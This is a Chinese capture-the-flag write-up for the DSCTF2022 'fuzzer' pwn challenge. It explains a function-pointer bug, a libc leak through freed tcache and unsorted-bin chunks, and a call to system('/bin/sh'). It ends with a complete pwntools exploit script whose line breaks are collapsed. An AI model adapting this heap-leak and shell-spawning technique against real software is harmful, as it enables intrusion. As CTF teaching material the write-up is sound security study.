DSCTF2022 Fuzzer-Wp

题目附件以及exp我已经上传到GitHub,有需要的可以自己去下载,这题比赛的时候是我队友出的,大佬们tql。

打开IDA Pro进行反汇编后阅读伪代码,这题逆向的过程并不难,所以就不讲了,漏洞也好找,静态分析后可以发现在1-5之外,还存在第六个选项。

点进6号选项调用的函数sub_E2B之后,可以发现,漏洞点就在如下位置:

这里读取了我们的输入,并把这个地址作为一个函数来执行,参数为我们输入的8个Index,那么该题的做法就是泄露地址,向chunk中写入/bin/sh\x00,并调用6号选项即可。

这里再说一下地址怎么泄露,在队里大佬和我说了之后我才知道,scanf在读入换行符时默认是不会覆盖原本的内容的,也就是说可以输入 +\n,这时fd指针会保存下来,那么我们在bitmap上,填上对应的值就好了。

这里再简单说一下BitMap:

BitMap是一种算法,在数据量特别大时,可以很好的缩减时间复杂度,通过在对应位置填上对应的值,来表明该位置代表的数字,是否存在。

这题的BitMap的填法不能填0和1,因为这样不好泄露,在每个位置都填上这个位置的编号,就能很方便的泄露出libc。

由于这题的libc版本是2.27的,存在tcache,题目限制了最多申请9个chunk,所以,申请9个并释放,填满tcache后,剩下的chunk由于大于fastbin的size,会进入unsorted bin,这样就可以通过该chunk的fd指针泄露出main_arena,从而计算得到libc,然后再计算出system的地址,并向chunk写入/bin/sh\x00即可getshell。

最终exp如下:

from pwn import *
#from sgtpyutils.logger import loggerio=process('./fuzzerinstrospector')
elf=ELF('./fuzzerinstrospector')
libc=ELF('./libc-2.27.so')context.arch='amd64'
#context.log_level='debug'def create(index,val,bit_map):io.recvuntil('Your choice: ')io.sendline('1')io.recvuntil('Index: ')io.sendline(str(index))for i in range(8):io.sendlineafter('Index: ',val[i])io.recvuntil('Bitmap: ')io.sendline(bit_map)def edit(index,val,bit_map):io.recvuntil('Your choice: ')io.sendline('2')io.recvuntil('Index: ')io.sendline(str(index))for i in range(8):io.sendlineafter('Index: ',val[i])io.recvuntil('Bitmap: ')for i in range(256):io.send(bit_map[i])def check(index):io.recvuntil('Your choice: ')io.sendline('3')io.recvuntil('Index: ')io.sendline(str(index))def delete(index):io.recvuntil('Your choice: ')io.sendline('4')io.recvuntil('Index: ')io.sendline(str(index))def execve(func_name):io.recvuntil(b'Your choice: ')io.sendline(b'6')io.sendline(str(func_name))bit1='a'*256
bit2='b'*256for i in range(9):create(8-i,['0','1','2','3','4','5','6','7'],bit2)#gdb.attach(io)
#pause()#puts_plt=elf.plt['puts']for i in range(9):delete(i)#gdb.attach(io)
#pause()bit_map=" "for i in range(0x100):bit_map=chr(0xff-i)+bit_map#bit_map=['0']*256for i in range(9):create(str(i),['+','+','+','+','+','+','+','+'],bit_map)check(7)offset=624+0x1ecb80libc_base=0for i in range(8):io.recvuntil("Bit: ")tmp=io.recvline()tmp=int(tmp)libc_base=libc_base+(tmp<<(i*8))libc_base=libc_base-offset#print('\n')success("\033[32m libc base is leaked! ==> " + hex(libc_base) + "\033[0m")#io.interactive()#gdb.attach(io)
#pause()sys_addr=libc.symbols['system']+libc_basesuccess("\033[32m system address is calculated! ==> " + hex(sys_addr) + "\033[0m")#print('\n')delete(0)#gdb.attach(io)
#pause()bit_map=""for i in range(0x100):bit_map=bit_map+chr(i)create(0,[str(ord("/")),str(ord("b")),str(ord("i")),str(ord("n")),str(ord("/")),str(ord("s")),str(ord("h")),str(ord("\x00"))],bit_map)execve(sys_addr)io.interactive()#gdb.attach(io)
#pause()

后面还会写一下eznote,我比赛没做出来,队友出了,我去学习学习,大佬们tql。

附上我的博客地址:h1J4cker’s Blog

DSCTF2022 fuzzerinstrospector-Wp相关推荐

  1. [WP]使用ApacheCordova开发HTML5-WindowsPhone应用程序

    下载代码示例 这篇文章介绍 Apache 科尔多瓦,创建使用 HTML5 和 JavaScript,跨平台移动应用程序的框架,并显示了如何使用它为 Windows Phone 开发应用程序. Wind ...

  2. wp实例开发精品文章源码推荐

    qianqianlianmeng wp实例开发精品文章源码推荐 WP8 启动媒体应用         这个示例演示了如何选择正确的msAudioCategory类别的音像(AV)流来配置它作为一个音频 ...

  3. cocos2d-xna for win8源代码轻松移植cocos-xna for wp游戏

    无意间看到杨哥弄了一个cocos2d-xna for win8出来可惜没有放出源代码,我试着要了一下结果他没理我,各种画圈圈. 那我只好自己弄一个了,源代码放出大家供交流学习使用,像杨哥说的一样就是一 ...

  4. linux 更改wp版本号,代码实现移除 WordPress 版本号

    默认情况下,WordPress会在页头输出版本号,有一定安全隐患. 在当前主题的functions.php中添加以下代码,可同时移除feed和js/css中的WordPress版本号: // 同时删除 ...

  5. 图解 wp WordPress 文章 链接 在新窗口打开

    wp WordPress 文章 链接 在新窗口打开 因为wp默认是不在新窗口打开链接的,这对于我们这样习惯关窗口的人,用起来很不方便.其实改起来很简单,下面开始 一.打开外观,选择编辑 二.打开主题页 ...

  6. 正确设置语言,加速WP应用提交

            App Hub在7月18日进行了更新.有些用户反馈新增的默认语言选项有点令人费解.本文简单做个介绍,帮助开发者正确设置语言,加速WP应用提交快速.这次的系统更新后,App Hub可以检 ...

  7. wordpress必装的插件 wp最常用的十个插件

    wordpress是世界上著名的博客系统,简称wp.一般新安装完wordpress以后,往往需要首先安装一些插件,这样才可以使用wordpress的更多功能.wp最常用的十个插件有哪些呢,可能根据每个 ...

  8. WP老杨解迷:开发生态两极化和榜单乱象

    WP老杨解迷:开发生态两极化和榜单乱象 Windows Phone 自2013年的一片浪潮推动下,2014年终于开始引起了各大小CP们的注意,于是大量的产品开始乘风破浪一路涌进Windows Phon ...

  9. WordPress开发之WP Custom Register Login插件试用

    简介 WP Custom Register Login可以为你的WordPress网站前台增加注册.登录.找回密码的功能:你可以通过简码在任何页面上调用. 此外,该插件还支持设置自动通过用户的电子邮件 ...

最新文章

  1. 高性能缓存 Caffeine 原理及实战
  2. sitecore系列教程之目标功能有什么新意?
  3. 从零开始玩转 logback、完整配置详解
  4. 灰度值怎么降级_微服务生态的灰度发布如何实现?
  5. c语言加速度积分得到速度_自编微积分教材-第一章 微积分漫谈(1)
  6. 好看的个人主页,个人引导页
  7. 6-7 jmu-Java-07多线程-Thread (3分)
  8. 路由器mac地址克隆
  9. 一个人是否靠谱,闭环很重要(有深度)
  10. SVM笔记(二)拉格朗日对偶、KTT条件、软间隔SVM
  11. python获取页面隐藏元素_python之selenium操作隐藏元素
  12. docker学习5-docker安装tomcat环境和部署war包
  13. 《Java8实战》第1章 Java 8、9、10 以及 11 的变化
  14. 第10课 TCP重传技术的研究
  15. 微信HOOK 5.获取个人通讯录以及群等
  16. rtsp协议中数据的分包
  17. matlab怎么导出矩阵,matlab 如何输出矩阵?
  18. 利用Python OpenCV进行圆孔检测、计算半径、圆心到四边距离
  19. 大数据面试的真题java编程
  20. 机器视觉设计者如何选择合适的镜头?

热门文章

  1. 计算机程序设计python的作业_2020高校邦《百度凤巢沙盒系统营销实践》单元测试答案2020中国大学《计算机程序设计(Python)》作业题库...
  2. 2.3 数值分析: 矩阵三角分解法
  3. 分析师称新iPad Mini第三季上市 配视网膜屏
  4. 基于等效电路模型(RC)的锂离子电池参数在线辨识
  5. Mysql安装时mysqld.exe报`应用程序无法正常启动(0xc000007b)`
  6. BUAA OO 第三单元 规格化设计
  7. ARP9-Licensee
  8. SOHO回归职场,英文介绍怎么做?
  9. winrar 命令行制作自解压安装包
  10. 电梯模拟 数据结构课设